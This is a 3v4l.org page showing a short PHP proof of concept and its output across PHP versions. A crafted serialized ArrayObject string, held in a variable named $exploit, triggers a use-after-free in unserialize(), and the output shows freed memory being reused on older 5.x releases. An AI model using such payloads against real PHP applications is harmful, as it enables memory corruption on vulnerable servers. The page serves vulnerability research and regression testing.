3v4l.org

run code in 300+ PHP versions simultaneously
<?php class test { var $ryat; function __wakeup() { $this->ryat = 'ryat'; } } $inner = 'x:i:0;O:4:"test":1:{s:4:"ryat";R:3;};m:a:1:{i:0;R:2;}'; $exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data);
Output for 7.0.11 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
Fatal error: Uncaught UnexpectedValueException: Error at offset 36 of 53 bytes in /in/EpJhl:15 Stack trace: #0 [internal function]: ArrayObject->unserialize('x:i:0;O:4:"test...') #1 /in/EpJhl(15): unserialize('C:11:"ArrayObje...') #2 {main} thrown in /in/EpJhl on line 15
Process exited with code 255.
Output for 7.0.0 - 7.0.10
object(ArrayObject)#1 (2) { [0]=> int(0) ["storage":"ArrayObject":private]=> &string(4) "ryat" }
Output for 5.4.44 - 5.4.45, 5.5.28 - 5.5.38, 5.6.12 - 5.6.25, 5.6.30 - 5.6.40
object(ArrayObject)#1 (2) { [0]=> int(0) ["storage":"ArrayObject":private]=> string(4) "ryat" }
Output for 5.6.26 - 5.6.29
Fatal error: Uncaught exception 'UnexpectedValueException' with message 'Error at offset 36 of 53 bytes' in /in/EpJhl:15 Stack trace: #0 [internal function]: ArrayObject->unserialize('x:i:0;O:4:"test...') #1 /in/EpJhl(15): unserialize('C:11:"ArrayObje...') #2 {main} thrown in /in/EpJhl on line 15
Process exited with code 255.
Output for 5.4.0 - 5.4.43, 5.5.0 - 5.5.27, 5.6.0 - 5.6.11
object(ArrayObject)#1 (2) { [0]=> string(3) "hi3" ["storage":"ArrayObject":private]=> string(4) "ryat" }

preferences:
293.09 ms | 402 KiB | 373 Q